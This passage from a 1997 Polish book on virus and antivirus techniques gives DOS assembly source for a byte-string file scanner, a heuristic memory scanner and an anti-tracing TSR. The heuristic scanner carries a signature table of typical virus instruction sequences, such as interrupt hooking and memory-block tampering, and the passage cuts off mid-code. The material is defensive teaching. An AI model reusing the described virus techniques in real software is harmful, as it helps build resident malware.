dzielenia, to wieksza czesc wyniku
pop ax ; przywroc do
AX mniej znaczaca liczbe z poczatku
div bx ; dx jest
reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w bx reszta
z dzielenia
mov dx,bp ;
dx:ax=liczba podzielona przez bx,
pop bp ; a w bx
reszta z dzielenia
ret
Dziel32 endp
;----------------------------------------------------------------
---
; (teksty komunikatow+zmienne ogolne)
;----------------------------------------------------------------
---
TeCopyRight db CR,LF,'SKANER v1.0, Autor : Adam
Blaszczyk 1997'
db CR,LF
db CR,LF,' Wywolanie: SKANER
NazwaPliku CiagBajtow'
db CR,LF
db CR,LF,' CiagBajtow moze skladac sie
z liczb zapisanych heksalnie lub zwyklego'
db CR,LF,' tekstu np: '
db CR,LF,' _ CD 21
- szuka wywolania przerwania 21h'
db CR,LF,' _ ''wirus''
- szuka slowa "wirus"'
db CR,LF,' _ ''abc''80C5''def''EE
F6 - szuka lancucha "abcă+def_¸"'
TeCRLF db CR,LF,0
TeSzukamCiagu db 'Szukam lancuch "',DrCiag ,'" w pliku
"',DrPlik,'"',0
TeBezBledu db 'OK !',0
TeBrakParametrow db 'BLAD : Podaj Parametry !',0
TeBrakNazwyPliku db 'BLAD : Podaj nazwe pliku !',0
TeBrakCiagu db 'BLAD : Podaj ciag do wyszukania',0
TeZlyCiag db 'BLAD : Podany ciag zawiera bledy
!',0
TeBrakPlikuNaDysku db 'BLAD : Nie moge znalezc pliku
"',DrPlik,'"',0
TeBlad_ARIF db 'BLAD : Brak dostepu do pliku
"',DrPlik,'" (int 24h) !',0
TeZlyAtrybutPliku db 'BLAD : "',DrPlik,'" to etykieta
dysku lub katalog !',0
TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie
mozna chwilowo zmienic atrybutow ! ',0
TeNieMogeOtworzyc db 'BLAD : Nie moge otworzyc pliku
"',DrPlik,'"',0
TeNieMogeCzytac db 'BLAD : Nie moge czytac pliku
"',DrPlik,'"',0
TeNieMogeZamknac db 'BLAD : Nie moge zamknac pliku
"',DrPlik,'"',0
TePlikZaKrotki db 'BLAD : Plik "',DrPlik,'" jest
krotszy niz ciag !',0
OffsetyKomunikatow dw offset TeBezBledu ;
BlBezBledu equ 00h
dw offset TeBrakParametrow ;
BlBrakParametrow equ 01h
dw offset TeBrakNazwyPliku ;
BlBrakNazwyPliku equ 02h
dw offset TeBrakCiagu ;
BlBrakCiagu equ 03h
dw offset TeZlyCiag ;
BlZlyCiag equ 04h
dw offset TeBrakPlikuNaDysku ;
BlBrakPlikuNaDysku equ 05h
dw offset TeBlad_ARIF ;
BlBlad_ARIF equ 06h
dw offset TeZlyAtrybutPliku ;
BlZlyAtrybutPliku equ 07h
dw offset TeBrakDostepuDoPliku ;
BlBrakDostepuDoPliku equ 08h
dw offset TeNieMogeOtworzyc ;
BlNieMogeOtworzyc equ 09h
dw offset TeNieMogeCzytac ;
BlNieMogeCzytac equ 0Ah
dw offset TeNieMogeZamknac ;
BlNieMogeZamknac equ 0Bh
dw offset TePlikZaKrotki ;
BlPlikZaKrotki equ 0Ch
TeNieZnalazlem db 'Nie znalazlem lancucha "',DrCiag ,'"
w pliku "',DrPlik,'" !',0
TeZnalazlem db 'Ciag "',DrCiag ,'" wystapil '
db DrUnIntDec
dw offset IleZnalezionych
db ' raz(y) w pliku "',DrPlik,'" !',0
TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na
pozycji '
db DrUnIntHex
dw offset AdresZnalezienia
db ','
db DrUnIntDec
dw offset AdresZnalezienia
db 0
HexChars db '0123456789ABCDEF'
TablicaWrostkow db DrPlik
dw offset NazwaPliku
db DrCiag
dw offset Ciag
db DrUnIntDec
dw offset Bin2DecUnInt32
db DrUnIntHex
dw offset Bin2HexUnInt32
NumerBledu db ?
MojAdresPSP dw ?
AdresCzytania dd ?
AdresZnalezienia dd ?
Przeczytane dw ?
IleZnalezionych dd ?
DlugoscCiagu dw ?
AbsDlugoscCiagu dw ?
StareDTAOfs dw ?
StareDTASeg dw ?
StareI24Ofs dw ?
StareI24Seg dw ?
ZmienAtrPliku db ?
Hex2DecBufor db 11 dup(?)
CiagStart:
Ciag db RozmiarCiagu dup(?)
CiagKoniec:
NazwaPliku db DlugNazwyPliku dup(?)
BufDTA DTA_STRUC <>
SKANER ENDS
;----------------------------------------------------------------
---
; Segment DTA
; do wczytywania danych (127 sektorow 512 bajtowych=65024
bajtow)
;----------------------------------------------------------------
---
ProgDTA SEGMENT
BuforDanych db RozmiarBuforaDanych dup(?) ; bufor
na dane z pliku
ProgDTA ENDS
;----------------------------------------------------------------
---
; Segment Stosu
;----------------------------------------------------------------
---
ProgStos segment word stack 'STACK' ; ustaw
STOS
dw RozmiarStosu dup(?)
ProgStos ends
end start
12.2. Heurystycze wyszukiwanie wirusów
Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki,
stąd techniki wykorzystywane w pierwowzorach są bez większych zmian
implementowane w kolejnych, nowych pokoleniach wirusów.
Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę
heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości
charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach,
można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje
wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy
okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka
instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie
typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik,
zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie
nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego
jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji
zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb
krokowy, emulacja procesora).
CMP AX, 4B00h ; sprawdč czy jest uruchamiany jakiť
program
; 3D,00,4B kod maszynowy rozkazu
CMP DS:[0],Z ; czy ostatni blok pamiŕci
; 80,3E,00,00, 5A kod maszynowy
rozkazu
MOV AX, 2521h ; funkcja DOS ustaw adres przerwania
21h
INT 21h ; wywo│aj funkcjŕ B8,21,25,CD,21 kod
maszynowy
; sekwencji
MOV WORD PTR [l],0008 ; ustaw blok jako systemowy w
nag│ˇwku MCB
; C7,06,01,00,08,00 kod maszynowy
instrukcji
CALL NEXT ; weč relatywny offset NEXT:
; E8,00,00 kod instrukcji
Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez
programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane
przez wirusy.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; HEUR v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program przeglada bloki MCB obecne w systemie i
poszukuje w ;
; nich kilku standardowo wystepujacych w wirusach
sekwencji ;
; Przy jego uzyciu mozna wykryc w pamieci niektore
wirusy ;
; rezydetne
;
;----------------------------------------------------------------
------------;
; Dane techniczne
;
;----------------------------------------------------------------
------------;
;
;
; Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia
0AAh, a po ;
; uruchomieniu programu przywraca oryginalna wartosc pierwszego
bajtu ;
; Dzieki temu program nie wykryje sygnatur np. w buforach
dyskowych lub ;
; buforach programow cache (np. SMARTDRV)
;
;
;
; Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku
MCB=0) ;
;
;;
;;
;;
;----------------------------------------------------------------
------------;
JUMPS
HEUR SEGMENT
ORG 100h
ASSUME CS:HEUR, DS:HEUR
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
IleSygnZebyAlarm = 10 ; okresla, ile sygnatur
musi wystapic
; w badanym bloku MCB,
aby potraktowac
; jego zawartosc za
podejrzana
; i wyswietlic
ostrzezenie
DlugProgPara = (Offset Koniec-Offset Start+15)/16+10h
; okresla dlugosc
programu w pamieci
Sygn struc ; \
SygnNazwa db 45 dup (?) ; \
SygnDlug dw 0 ; \
Sygn00 db 0 ; \
Sygn01 db 0 ; \
Sygn02 db 0 ; \ struktura
opisujaca
Sygn03 db 0 ; / sygnature
wirusa
Sygn04 db 0 ; /
Sygn05 db 0 ; /
Sygn06 db 0 ; /
Sygn07 db 0 ; /
Sygn ends ; /
DlugoscSygnatury = Size Sygn ; dlugosc struktury
;----------------------------------------------------------------
-------------
Start:
lea si,TeCopyRight ; SI=ofset do informacji
o programie
Call DrukLn ; wyswietl info o
programie
Call SzukajHeur ; szukaj sekwencji w
pamieci
mov ax,4C00h ; funkcja DOS - koncz
program
int 21h ; wywolaj funkcje
;----------------------------------------------------------------
-------------
SzukajHeur:
push es ax bx cx dx ; zachowaj zmieniane
rejestry
mov bx,IleSygnatur ; ile sygnatur do
odXORowania
lea si,Sygnatury ; skad pobierac
sygnatury
add si,size SygnNazwa+size SygnDlug
; i gdzie XORowac bajt
XORujSygnature:
xor byte ptr [si],0AAh ; przywroc prawdziwy
bajt sygnatury
add si,DlugoscSygnatury ; wez kolejna sygnature
dec bx ; zmniejsz licznik
sygnatur
jnz XORujSygnature ; powtarzaj dla kazdej
sygnatury
mov IloscSygn,0
mov ax,5802h ; funkcja DOS - czy UMB
dolaczone ?
int 21h ; wywolaj funkcje
push ax ; zachowaj informacje na
pozniej
mov ax,5803h ; funkcja DOS -
dolacz/odlacz bloki UMB
mov bx,1 ; sprobuj dolaczyc bloki
UMB
int 21h ; wywolaj funkcje
mov ah,52h ; funkcja DOS - wez
adres listy list LL
int 21h ; wywolaj funkcje
mov ax,es:[bx-2] ; wez adres pierwszego
bloku MCB
NastepnyMCB: ; kolejne bloki MCB
mov es,ax ; ES=MCB
mov bl,byte ptr es:[0] ; zachowaj info o
znaczniku bloku
mov dx,es:[0003] ; DX=rozmiar bloku MCB
mov cx,es:[0001] ; CX=adres PSP z bloku
MCB
Call SzukajWBloku
stc ; +1 w dodawaniu ponizej
adc ax,word ptr es:[0003] ; dodaj rozmiar bloku
MCB+1
; AX=nastepny blok MCB
cmp bl,'M' ; czy to posredni blok ?
je NastepnyMCB ; TAK - przegladaj
cmp bl,'Z' ; czy to ostatni blok ?
je OstatniBlokMCB ; TAK - zakoncz
przegladanie
; zly blok MCB -
naruszona struktura
lea si,TeZlyMCB ; \ wyswietl komunikat
Call DrukLN ; / o blednym bloku MCB
OstatniBlokMCB:
pop bx ; przywroc info o UMB
mov bh,0 ; BX=BL
mov ax,5803h ; funkcja DOS -
dolacz/odlacz bloki UMB
int 21h ; wywolaj funkcje
pop dx cx bx ax es ; przywroc zmieniane
rejestry
cmp IloscSygn,0 ; \
jne SzukajHeurPowrot ; \
; - jezeli nie znalazl
zadnej
lea si,TeNieMaSygnatur ; / sygnatury to
wyswietl komunikat
Call DrukLN ; /
SzukajHeurPowrot:
ret ; powrot
;----------------------------------------------------------------
-------------
SzukajWBloku: ; szuka sygnatury w
bloku MCB
; AX=blok MCB
; DX=dlugosc bloku w
paragrafach
push ds es ax bx cx dx si di ; zachowaj zmieniane
rejestry
or cx,cx ; czy blok jest
nieuzywany ?
je SzukajWBlokuPowrot ; TAK - nie sprawdzaj i
powroc
mov AdresMCB,ax ; zapamietaj adres MCB
inc ax ; ES:0= MCB+1:0
mov es,ax ; ES wskazuje na dane w
bloku
lea si,TeSprawdzam ; \
Call Druk ; \
lea si,TeBlokMCB ; \
Call Druk ; \
mov ax,AdresMCB ; \
Call DrukHEX16 ; \ wypisz info o
szukaniu
lea si,TeRozmiar ; / w bloku MCB i
podaj jego
Call Druk ; / adres, dlugosc
mov ax,dx ; /
Call DrukHex16 ; /
lea si,TeParagraf ; /
Call DrukLn ; /
mov bx,cs ; \
mov ax,es ; \ czy to MCB programu
HEUR ?
cmp ax,bx ; / TAK-nie sprawdzaj
kodu programu
jne InnyBlok ; / ale sprawdz
poza nim
mov ax,DlugProgPara
sub dx,ax ; odejmij dlugosc kodu
or dx,dx ; \ czy nie odjete za
duzo ?
jz SzukajWBlokuPowrot ; /
add ax,AdresMCB ; \ ES=dane poza kodem
programu
mov es,ax ; /
InnyBlok:
or dx,dx ; \ pomin blok, gdy
dlugosc =0
je SzukajWBlokuPowrot ; /
mov IloscBiezSygn,0 ; licznik wystapien w
bloku
cld ; SI:=SI+1, DI:=DI+1 po
oper. lancuchowych
xor di,di ; dane sa pod ES:0000
SzukajDalej:
mov bx,IleSygnatur ; ustaw licznik sygnatur
lea si,Sygnatury ; podaj, skad pobierac
sygnatury
SzukajSygnature:
push si ; zachowaj zmieniane SI
mov bp,si ; zachowaj ofset do
nazwy sygnatury
add si,size SygnNazwa+size SygnDlug
; dodaj ofset do
sygnatury
lodsb ; wez 1-szy bajt
sygnatury
scasb ; czy=bajt w pamieci ?
jnz NastepnaSygnatura ; NIE - sprawdz kolejna
sygnature
; TAK - porownaj cala
sygnature
mov cx,word ptr ds:[si-3] ; wez dlugosc sygnatury
dec cx ; pierwszego bajtu nie
trzeba
; porownywac
push di ; DI jest pozniej
potrzebne wiec zachowaj
rep cmpsb ; porownaj sygnature z
pamiecia
pop di ; przywroc DI
jnz NastepnaSygnatura ; NIE - nie ma sygnatury
; TAK - sygnatura
znaleziona
inc IloscSygn ; zwieksz ilosc
wystapien (globalna)
inc IloscBiezSygn ; zwieksz ilosc
wystapien (w MCB)
lea si,TeAdres ; \
Call Druk ; \ wyswietl jaka
sygnatura
mov ax,es ; \ zostala
znaleziona
Call DrukHEX16 ; \ i pod jakim
adresem
mov ax,0E3Ah ; \
int 10h ; \
mov ax,di ; \
dec ax ; /
Call DrukHex16 ; /
lea si,TeSygnatura ; /
Call Druk ; /
mov si,bp ; /
add si,SygnNazwa ; /
Call DrukLn ; /
NastepnaSygnatura:
pop si ; przywroc SI
add si,DlugoscSygnatury ; i ustaw na nastepna
sygnature
dec di ; ustaw wskaznik na
poprzedni bajt
dec bx ; zmniejsz licznik
sygnatur
jnz SzukajSygnature ; jezeli nie, to sprawdz
kolejna sygnature
NastepnyBajt:
inc di ; wskaznik na nastepny
bajt w bloku
and di,15 ; czy ofset>15
jnz SzukajDalej ; NIE - szukaj sygnatur
; TAK - zwieksz numer
segmentu
mov di,es ; \
inc di ; \
ES:DI=ES:0010:=ES+1:0
mov es,di ; /
xor di,di ; /
NieZmienSeg:
dec dx ; zmniejsz ilosc
paragrafow w bloku
jnz SzukajDalej ; NIE - kontynuuj
sprawdzanie
cmp IloscBiezSygn,IleSygnZebyAlarm
; czy ilosc wykrytych
sygnatur jest
; odpowiednio duza ?
jb SzukajWBlokuPowrot ; NIE - powrot
lea si,TePrawdopodWirus ; \ TAK - wypisz o tym
komunikat
Call DrukLn ; /
SzukajWBlokuPowrot:
pop di si dx cx bx ax es ds ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
DrukLn:
push si ; zachowaj zmieniany
rejestr
call Druk ; wyswietl tekst z CS:SI
lea si,TeCRLF ; \ i przejdz do
nastepnej linii
Call Druk ; /
pop si ; przywroc zmieniany
rejestr
ret ; powrot
;----------------------------------------------------------------
-------------
Druk:
push ax si ; zachowaj zmieniane
rejestry
DrukPetla:
lods byte ptr cs:[si] ; wez kolejny znak
tekstu
or al,al ; czy NUL ?
jz DrukPowrot ; TAK - koniec tekstu
mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje
jmp short DrukPetla ; pobierz kolejny znak
tekstu
DrukPowrot:
pop si ax ; przywroc zmieniane
rejestry
ret ; powrot
;----------------------------------------------------------------
-------------
DrukHEX16:
push ax ; zachowaj 8 dolnych
bitow
mov al,ah ; AL=AH=wyzsze 8 bitow
Call DrukHEX8 ; wyswietl wyzsze 8
bitow
pop ax ; przywroc 8 dolnych
bitow
DrukHEX8:
push ax ; zachowaj 4 dolne bity
shr al,1 ; \ wez 4 gorne bity
shr al,1 ; \ do AL (podziel
przez 16)
shr al,1 ; /
shr al,1 ; /
Call DrukHEX4 ; wyswietl 4 gorne bity
pop ax ; przywroc 4 dolne bity
and al,15 ; utworz z nich liczbe
0..F
DrukHEX4:
push bx ; BX bedzie potrzebne
wiec zachowaj
lea bx,HexZnaki ; ustaw BX na tablice
konwersji
xlatb ; konwertuj 0..F na
'0'..'Z','A'..'Z'
; AL=cyfra
mov ah,0Eh ; funkcja BIOS -
wyswietl znak z AL
int 10h ; wywoluje funkcje
pop bx ; przywroc BX
ret ; powrot
HexZnaki db '0123456789ABCDEF' ; tablica konwersji
TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'_ Szukam sygnatur ...',NUL
db CR,LF
TeCRLF db CR,LF,NUL
TeZlyMCB db CR,LF,'_ Struktura blokow MCB pamieci jest
zaklocona !',NUL
TeSygnatura db ': Znaleziona sygnatura : ',NUL
TeNieMaSygnatur db CR,LF,'_ Nie znalazlem zadnej sygnatury
!',NUL
TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym
bloku MCB moze byc wirus !'
db CR,LF,' Swiadczy o tym ilosc
znalezionych w nim sygnatur !',NUL
TeAdres db ' Adres=',NUL
TeBlokMCB db ' MCB=',NUL
TeRozmiar db ', Rozmiar MCB=',NUL
TeParagraf db ' paragrafow',NUL
TeSprawdzam db '_ Sprawdzam',NUL
Sygnatury:
Sygn <'CALL $+3; POP BX ',4,0E8h xor
0AAh,000h,000h,05Bh>
Sygn <'CALL $+3; POP BP ',4,0E8h xor
0AAh,000h,000h,05Dh>
Sygn <'CALL $+3; POP SI ',4,0E8h xor
0AAh,000h,000h,05Eh>
Sygn <'CALL $+3; POP DI ',4,0E8h xor
0AAh,000h,000h,05Fh>
Sygn <'CMP AX,4B00h; JZ ?? ',4,03Dh xor
0AAh,000h,04Bh,074h>
Sygn <'CMP AX,4B00h; JNZ ?? ',4,03Dh xor
0AAh,000h,04Bh,075h>
Sygn <'CMP AX,"MZ" ',4,03Dh xor
0AAh,05Ah,04Dh,075h>
Sygn <'CMP AX,"ZM" ',4,03Dh xor
0AAh,04Dh,05Ah,075h>
Sygn <'MOV AX,2521h; INT 21h ',5,0B8h xor
0AAh,021h,025h,0CDh,021h>
Sygn <'MOV AH,52h; INT 21h ',4,0B4h xor
0AAh,052h,0CDh,021h>
Sygn <'MOV AX,4300h; CALL NEAR [] ',4,0B8h xor
0AAh,000h,043h,0E8h>
Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,000h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4301h; CALL NEAR [] ',4,0B8h xor
0AAh,001h,043h,0E8h>
Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,001h,043h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5700h; CALL NEAR [] ',4,0B8h xor
0AAh,000h,057h,0E8h>
Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,000h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,5701h; CALL NEAR [] ',4,0B8h xor
0AAh,001h,057h,0E8h>
Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,001h,057h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,3D02h; CALL NEAR [] ',4,0B8h xor
0AAh,002h,03Dh,0E8h>
Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,002h,03Dh,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4200h; CALL NEAR [] ',4,0B8h xor
0AAh,000h,042h,0E8h>
Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,000h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AX,4202h; CALL NEAR [] ',4,0B8h xor
0AAh,002h,042h,0E8h>
Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor
0AAh,002h,042h,02Eh,09Ch,0FFh>
Sygn <'MOV AH,3Fh; CALL NEAR [] ',3,048h xor
0AAh,03Fh,0E8h>
Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[] ',5,0B4h xor
0AAh,03Fh,02Eh,09Ch,0FFh>
Sygn <'MOV AH,40h; CALL NEAR [] ',3,048h xor
0AAh,040h,0E8h>
Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[] ',5,0B4h xor
0AAh,040h,02Eh,09Ch,0FFh>
Sygn <'CMP DS:[0],"Z"; JZ ?? ',4,080h xor
0AAh,03Fh,05Ah,074h>
Sygn <'CMP DS:[0],"Z"; JNZ ?? ',4,080h xor
0AAh,03Fh,05Ah,075h>
Sygn <'CMP ES:[0],"Z"; JZ ?? ',5,026h xor
0AAh,080h,03Fh,05Ah,074h>
Sygn <'CMP ES:[0],"Z"; JNZ ?? ',5,026h xor
0AAh,080h,03Fh,05Ah,075h>
Sygn <'MOV DS:[1],0008h ',6,0C7h xor
0AAh,006h,001h,000h,008h,000h>
Sygn <'MOV ES:[1],0008h ',7,026h xor
0AAh,0C7h,006h,001h,000h,008h,000h>
Sygn <'MOV DS:[100h],???? ',4,0C7h xor
0AAh,006h,000h,001h>
Sygn <'MOV ES:[100h],???? ',5,026h xor
0AAh,0C7h,006h,000h,001h>
Sygn <'MOV AX, 100h; PUSH AX; RET ',5,0B8h xor
0AAh,000h,001h,050h,0C3h>
Sygn <'MOV CX, 100h; PUSH CX; RET ',5,0B9h xor
0AAh,000h,001h,051h,0C3h>
Sygn <'MOV DX, 100h; PUSH DX; RET ',5,0BAh xor
0AAh,000h,001h,052h,0C3h>
Sygn <'MOV BX, 100h; PUSH BX; RET ',5,0BBh xor
0AAh,000h,001h,053h,0C3h>
Sygn <'MOV AX, 100h; JMP AX ',5,0B8h xor
0AAh,000h,001h,0FEh,0E0h>
Sygn <'MOV CX, 100h; JMP CX ',5,0B9h xor
0AAh,000h,001h,0FEh,0E1h>
Sygn <'MOV DX, 100h; JMP DX ',5,0BAh xor
0AAh,000h,001h,0FEh,0E2h>
Sygn <'MOV BX, 100h; JMP BX ',5,0BBh xor
0AAh,000h,001h,0FEh,0E3h>
Sygn <'MOV DS:[0086],CS ',4,08Ch xor
0AAh,00Eh,086h,000h>
Sygn <'MOV ES:[0086],CS ',5,026h xor
0AAh,08Ch,00Eh,086h,000h>
Sygn <'MOV AX,DS; DEC AX; MOV DS,AX ',5,08Ch xor
0AAh,0D8h,048h,08Eh,0D8h>
Sygn <'MOV AX,ES; DEC AX; MOV ES,AX ',5,08Ch xor
0AAh,0C0h,048h,08Eh,0C0h>
Sygn <'MOV AL,3; IRET ',3,0B4h xor
0AAh,003h,0CFh>
IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury
AdresMCB dw ?
IloscBiezSygn dw ?
IloscSygn dw ?
Koniec:
HEUR ENDS
END Start
12.3. Tryb krokowy
Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować
zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej.
Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora.
Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą
odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej
wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie
wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa
(jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu
dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany
wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor
nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie
ma w nim wirusa.
12.4. Emulacja procesora
Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać,
autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania
programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki
któremu mogą emulować wykonywanie początkowych intrukcji programu, mając
jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii
80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji
wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji,
której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z
wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h,
67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych.
Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych,
które po ich napotkaniu kończyły sprawdzanie pliku.
12.5. Przynęty (ang. baits, decoys)
Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy,
dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu
składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja
zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich
plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i
zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich
zainfekowanie.
Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to
zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest
znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie
zainfekować takiego pliku.
12.6. Odświeżanie programów systemowych w sektorach
Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-
sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego
odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez
niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż
niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach
systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego
startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie
będzie można odczytać zapisanych na dysku danych.
Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości
sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później
odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa
techniki stealth odczyty najlepiej, byłoby wykonywać przez porty.
12.7. Blokowanie programów używających trybu krokowego
Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania
wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do
przerwań.
Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h,
2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu
krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu
oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę
przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania
znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie
wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli
na niebezpieczne działania.
Powyższą technikę demonstruje poniższy program.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; ANTYTRAC v1.0, Autor : Adam Blaszczyk
1997 ;
;
;
; Program nie pozwala przejsc w trybie krokowym
;
; przez przerwania 13h i 21h.
;
; W efekcie wirusy uzywajace tracingu do
odnalezienia ;
; oryginalnych procedur obslugi tych przerwan nie
znajda ;
; ostatniego elementu lancucha, a tylko element
posredni. ;
;
;
; Kompilacja :
;
; TASM ANTYTRAC.ASM
;
; TLINK /t ANTYTRAC.OBJ
;
;
;
;----------------------------------------------------------------
------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do
deklaracji
CR = 0Dh ; / lancuchow
napisowych
ANTYTRAC SEGMENT ; segment kodu i danych
ORG 100h ; program jest typu COM
ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC
DlugoscKoduTSR = (offset KoniecKoduTSR-offset
PoczatekKoduTSR+15)/16+10h
; oblicza, ile pamieci
zajmie TSR
PoczatekKoduTSR:
Start: ; tu zaczyna sie
program
jmp Poczatek ; skocz i zainstaluj
lub odinstaluj program
NoweInt21h:
cmp ax,3521h ; czy to funkcja 3521h
?
jne Nie3521 ; NIE - skocz na koniec
obslugi
cmp bp,0BACAh ; czy to ponownie
uruchomiony program ?
; wywolal te funkcje ?
jne Nie3521 ; NIE - skocz na koniec
obslugi
; TAK - odinstaluj
wirusa
push es ds ; zachowaj zmieniane
rejestry
lds dx,dword ptr cs:[StareInt21] ; pobierz stary adres
INT 21h
mov ax,2521h ; funkcja DOS - ustaw
nowe przerwanie
int 21h ; wywolaj funkcje
(rekurencyjnie)
lds dx,dword ptr cs:[StareInt13] ; pobierz stary adres
INT 13h
mov ax,2513h ; funkcja DOS - ustaw
nowe przerwanie
int 21h ; wywolaj funkcje
push cs
pop es ; ES=zwalniany segment
mov ah,49h ; funkcja DOS - zwolnij
blok pamieci
int 21h ; wywolaj funkcje
pop ds es ; przywroc zmieniane
rejestry
mov ax,bp ; przekaz informacje do
wywolujacego
; programu
iret ; powrot z przerwania
Nie3521:
Call Wylacz_TF ; jezeli bit TF=1,
ustaw TF=0
db 0EAh ; czesc rozkazu JMP FAR
StareInt21 dd ? ; koncowka rozkazu JMP
FAR
NoweInt13h:
Call Wylacz_TF ; jezeli TF=1, ustaw
TF=0
db 0EAh ; czesc rozkazu JMP FAR
StareInt13 dd ? ; koncowka rozkazu JMP
FAR
Wylacz_TF:
cli ; zablokuj przerwania
